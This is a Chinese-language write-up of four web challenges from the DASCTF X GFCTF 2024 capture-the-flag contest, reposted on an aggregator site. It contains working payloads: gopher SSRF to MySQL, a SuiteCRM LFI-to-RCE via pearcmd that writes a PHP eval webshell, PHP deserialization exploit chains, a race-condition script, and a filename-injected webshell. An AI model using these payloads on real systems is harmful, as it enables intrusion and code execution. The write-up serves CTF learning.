【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)

目录

EasySignin

cool_index 

SuiteCRM

web1234

法一、条件竞争(没成功)

法二、session反序列化


EasySignin

先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)

然后admin / 1234567登录

康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ

gopher协议探测出3306端口,可以打mysql

 

直接gopherus来打

生成的payload _ 后的部分要url二次编码 

 

base64解码拿到flag 

cool_index 

拿到附件,主要看这段逻辑

app.post("/article", (req, res) => {const token = req.cookies.token;if (token) {try {const decoded = jwt.verify(token, JWT_SECRET);let index = req.body.index;if (req.body.index < 0) {return res.status(400).json({ message: "你知道我要说什么" });}if (decoded.subscription !== "premium" && index >= 7) {return res.status(403).json({ message: "订阅高级会员以解锁" });}index = parseInt(index);if (Number.isNaN(index) || index > articles.length - 1) {return res.status(400).json({ message: "你知道我要说什么" });}return res.json(articles[index]);} catch (error) {res.clearCookie("token");return res.status(403).json({ message: "重新登录罢" });}} else {return res.status(403).json({ message: "未登录" });}
});

注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用

 可以自行对照一下各种判断,最后会输出第八篇文章,索引为7

SuiteCRM

Suite CRM v7.14.2 - RCE via LFI | Advisories | Fluid Attacks

直接复现CVE即可

先是切换到81端口,suitecrm/suitecrm登录

LFI肯定想到打pearcmd

/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

先pearcmd写马 

再包含写进去的马,命令执行拿flag

/index.php//tmp/shell.phpcmd=system('tac /f*');

web1234

登录很容易,就是附件里resetconf里的信息进行一波处理

然后?uname=admin&passwd=1q2w3e登录 

法一、条件竞争(没成功)

大体思路就是先反序列化给record.php写入<?php error_reporting(0);

当record.php非空后,追加的内容就可以提交表单写入,也就是可以写马

在upload和fileput中间的那个时间访问index执行反序列化,可以打条件竞争

链子很简单

Admin#__Destruct -> Config.showconf() -> Log#__toString

反序列化exp:

<?phpclass Admin{public $Config;}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;}class Log{public $data;}$a=new Admin();
$b=new Config();
$c=new Log();
$a->Config=$b;
$b->show=$c;
$c->data='log_start()';
echo serialize($a);

删去最后一个括号绕过__wakeup

把序列化结果放进本地config文件中

写脚本,跑条件竞争

import requests
import threadingurl1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'def upload():while True:filename = "Config"with open('config', "rb") as f:files = {"avatar": (filename, f.read())}data = {"m": "edit","nickname": "<?php phpinfo();?>","sex": "1","mail": "1","telnum": "1",}response = requests.post(url=url1, files=files,data=data)print(response.status_code)url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'def read():while True:res2 = requests.get(url2)print(res2.status_code)res3 = requests.get(url3)if "php" in res3.text:print('success')# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]# 启动上传线程
for t in upload_threads:t.start()# 启动读取线程
for t in read_threads:t.start()

没跑出来,做不下去了(buu靶机跑条件竞争好像有丶抽象)

法二、session反序列化

后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)

先backdoor来执行phpinfo()

用backdoor来执行session_start() 

 

利用链触发Log的toString⽅法即可,但是触发点并不是在反序列化,而在序列化_sleep函数中

Config#__sleep -> Config.showconf() -> Log#__toString  

启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:"Config":...就是对应的$_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的

事实上$_SESSION['user']=xxx往往只用于改变用户属性

 exp:

<?php
class Admin{public $Config;
}
class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;
}
class Log{public $data;
}
$exp=new Config();
$sink=new Log();
$sink->data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);

sess_Z3r4y文件内容

aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

 

在⽂件名处写马,⽂件名为 1';eval($_POST[1]);# 即可

注意删去Cookie,防止再次写入 <?php error_reporting(0);

访问/record.php,成功写马,命令执行拿flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/2291.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最详细步骤解决:Apps targeting Android12 and higher are required to specify...

问题原因&#xff1a; 当targetSdkVersion>31时&#xff0c;需要在AndroidManifest.xml中配置android:exported的值&#xff0c;该值为boolean类型。 android:exported解释&#xff1a; activity 是否可由其他应用的组件启动&#xff1a; 如果设为 "true"&#…

持续更新。。。

1、JAVA面试指南 https://javaguide.cn/ 简历优化&#xff1a;突出与应聘职位相关的项目经验、技术栈、技能证书和专业成就。确保简历中的技术关键词与JD&#xff08;Job Description&#xff09;相符。 自我评估&#xff1a;对照目标职位要求&#xff0c;梳理自身Java技能树&…

Java面试题:什么是Java中的单元测试以及如何编写单元测试?

Java中的单元测试是一种软件开发方法&#xff0c;用于验证代码中的最小可测试单元&#xff08;通常是方法或类&#xff09;是否按预期工作。单元测试的目标是隔离代码的各个部分&#xff0c;并验证每个部分是否都能正确执行其预期的功能。 在Java中&#xff0c;JUnit是最常用的…

【磁盘根目录扩容】

目的 给磁盘的根目录扩容&#xff0c;每个人在服务器上在根目录操作的可能性更大&#xff0c;如果单独指定一个目录扩容&#xff0c;很有可能使用不当 步骤 未扩容时&#xff0c;查看到sda下有两个分区&#xff0c;目前要扩展追加一个分区 使用fdisk -l查看到sda有4.9T&…

milvus datacoord启动源码分析

datacoord启动源码分析 结构体 // components.DataCoord // DataCoord implements grpc server of DataCoord server type DataCoord struct {ctx context.Contextsvr *grpcdatacoordclient.Server }// grpcdatacoord.Server // Server is the grpc server of datacoord type…

AI写作助手:一键智能改写文章质量高

无论是自媒体人写作文章、还是企业撰写宣传资料&#xff0c;文字都是表达思想和传递信息的重要介质。然而&#xff0c;有时候我们在工作中可能会遇到写作困难&#xff0c;或者想要对文章进行一定程度的改写以增加独特性和质量。而在这样的背景下&#xff0c;智能改写文章成为了…

VS2019编译OSG3.7.0+OSGEarth3.3+OSGQt

原文链接&#xff1a;VS2019编译OSG3.7.0OSGEarth3.3OSGQt-CSDN博客 工具与环境 这里使用的 cmake-3.18.3 、 VS2019 和 Qt5.15.2 进行编译。 一、编译OSG3.7.0 1、下载 下载不多赘述&#xff0c;在github上下master版本就是3.7.0版本。 另外还需要 3rdParty_VS2017_v141_…

新技术实现WEB前端零代码开发,将为0基础的人进入到IT行业创造极大便利!顺势破解低代码难以落地的魔咒:程序员集体排斥不喜欢、无基础的人不会代码用不来!

网站&#xff1a;hhtp://www.uiotos.net IT行业太大&#xff0c;从嵌入式硬件、到工具软件&#xff0c;到互联网、移动互联网&#xff0c;再到当前火爆的AI人工智能&#xff0c;都属于IT行业的阵地&#xff01;一度风光无两&#xff0c;即便当前大环境低迷&#xff0c;除了垄断…

Maxwell安装使用和简单案例

一、解压 cd /opt/software/ ​ tar -zxvf maxwell-1.29.2.tar.gz -C /opt/module/ ​ cd /opt/module/ 二、MySQL 环境准备 1、修改 mysql 的配置文件 修改 mysql 的配置文件&#xff0c;开启 MySQL Binlog 设置 vi /etc/my.cnf 添加以下内容 server_id1 log-binmysql-…

基于WOA优化的CNN-GRU-Attention的时间序列回归预测matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1卷积神经网络&#xff08;CNN&#xff09;在时间序列中的应用 4.2 GRU网络 4.3 注意力机制&#xff08;Attention&#xff09; 4.4 WOA优化算法 5.算法完整程序工程 1.算法运行效果图…

开发语言漫谈-脚本语言

前面讲的都称之为编程语言&#xff0c;就是做系统用的。还有一大类称之为脚本语言的语言&#xff0c;这类语言数量极多&#xff0c;大部分程序员用不上&#xff0c;也不关心&#xff0c;这是系统维护人员专用的邻域。这个定义其实也很不准确&#xff0c;不必较真。更准确的来讲…

get_or_insert_with

get_or_insert_with 是 Rust 中集合类型&#xff08;如 HashMap, HashSet, 或某些自定义类型如 BTreeMap&#xff09;提供的方法之一&#xff0c;用于处理“如果不存在则插入”的场景。它旨在简化在集合中查找某个键&#xff08;key&#xff09;&#xff0c;如果该键不存在&…

把 WordPress 变成 BaaS 服务:API 调用指南

有了前面两篇内容的铺垫&#xff0c;我们来聊聊 WordPress 作为 CMS / BaaS 服务使用时绕不开的问题&#xff0c;API 调用。 这篇内容同样的&#xff0c;会尽量少贴代码&#xff0c;简单的讲清楚一件事&#xff0c;降低阅读负担。 写在前面 首先&#xff0c;我们需要进行清晰…

Docker Compose 的安装和使用详解

Docker Compose 是 Docker 官方开源的容器编排(Orchestration)项目之一,用于快速部署分布式应用。本文将介绍 Docker Compose 的基本概念、安装流程及使用方法。 简介 Compose 项目是 Docker 官方的开源项目,负责实现对 Docker 容器集群的快速编排。从功能上看,Docker C…

卡车卫星定位系统 user/create 未授权密码重置漏洞复现

0x01 产品简介 卡车卫星定位系统是一种基于卫星通信和导航技术的系统,用于对卡车的位置进行精确测定。该系统主要由一组卫星、地面控制站和接收器组成。通过测量卫星信号的传播时间,可以确定接收器(即卡车上的定位设备)所在的位置。具有高精度、高可靠性、全球覆盖等特点,…

上位机图像处理和嵌入式模块部署(树莓派4b的一种固件部署方法)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 如果软件开发好了之后&#xff0c;下面就是实施和部署。对于树莓派4b来说&#xff0c;部署其实就是烧录卡和拷贝文件。之前我们烧录卡&#xff0c;…

SpringBoot如何集成MyBatis可以通过几个简单的步骤来实现

在SpringBoot中集成MyBatis可以通过几个简单的步骤来实现。以下是一个基本的步骤指南&#xff1a; 步骤1&#xff1a;添加依赖 首先&#xff0c;你需要在你的pom.xml文件中添加MyBatis和数据库的依赖。例如&#xff0c;如果你使用MySQL数据库&#xff0c;你可以添加以下依赖&…

服务器防入侵的方案浅析

随着物联网技术和互联网技术的日益发展&#xff0c;勒索病毒、工控安全、产线作业都面领着极大的威胁。智慧互联正在成为各个行业未来的发展方向&#xff0c;智慧互联包括物联网、万物互联&#xff0c;机器与机器&#xff0c;工业控制体系&#xff0c;信息化&#xff0c;也就是…

Landsat8-9 C2L2使用注意点(简略版)

Landsat8-9 C2L2使用注意点&#xff08;简略版&#xff09; 像元值转化 表面反射率产品时和表面温度时&#xff0c;即对应的SR和ST波段的遥感数据时&#xff0c;需要进行像元值的转换&#xff0c;其转换公式与Collection1不一样&#xff08;Collection1已经弃用了&#xff0c…

SQL中NULL值比较问题解析与解决方法

在进行 SQL 查询时&#xff0c;经常会遇到处理 NULL 值的情况。然而&#xff0c;在使用 ! 或 <> 来比较 NULL 值时&#xff0c;可能会遇到一些意想不到的问题。本篇博客将介绍在 SQL 中处理 NULL 值比较的问题&#xff0c;并提供解决方法。 问题描述 假设我们有一张名为…